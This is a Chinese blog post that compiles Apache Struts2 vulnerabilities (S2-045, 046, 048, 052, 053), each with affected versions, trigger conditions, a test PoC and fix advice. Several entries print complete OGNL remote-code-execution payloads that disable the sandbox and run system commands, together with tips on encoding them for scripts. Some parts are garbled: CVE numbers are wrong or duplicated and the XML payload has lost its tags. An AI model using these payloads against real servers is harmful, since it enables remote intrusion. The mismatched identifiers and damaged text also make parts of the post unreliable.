str2poc总结

看了很多文章的str2的漏洞集合

#Struts2-045
CVE-2017-5638
影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10
触发条件:基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行
利用方法:构造Content-type的值
测试POC:
%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

修复建议:

  1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
  2. 如果您使用基于Jakarta插件,请升级到最新版本。(强烈推荐)

#struts2-046
CVE-2017-5638
影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 –Struts 2.5.10
测试POC:
Content-Length:10000000 filenname="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" 服务端返回500
修复建议:

  1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
  2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)

#Struts2-048
CVE-2017-979
影响范围:Struts2 2.3.x
触发条件:Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录
触发参数:name
测试POC:

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
注意:写脚本时需要将payload进行url编码(常识)
修复建议:
1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:
messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
2、无奈解决方案:不启用struts2-struts1-plugin插件;
3、根本解决方案:建议升级到最新版本

#Struts2-052
CVE-2017-9805
影响范围:Struts 2.5 – Struts 2.5.12
漏洞描述:问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。
利用条件:需要修改Content-Type: application/xml
测试POC:
0 false 0 calc.exe false java.lang.ProcessBuilder start foo foo false 0 0 false false 0
修复建议:
1.建议尽快升级到最新版本;
2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:

#Struts2-053
CVE-2017-12611
影响范围:Struts2 2.0.1 – Struts2 2.3.33,Struts2 2.5 – Struts2 2.5.10
当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行,最后导致代码执行。
触发条件:struts2框架、freemarker标签中使用错误的构造
测试POC:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注意:写脚本时需要将payload进行url编码(常识)
修复建议:建议升级到最新版本

你可能感兴趣的:(安全学习)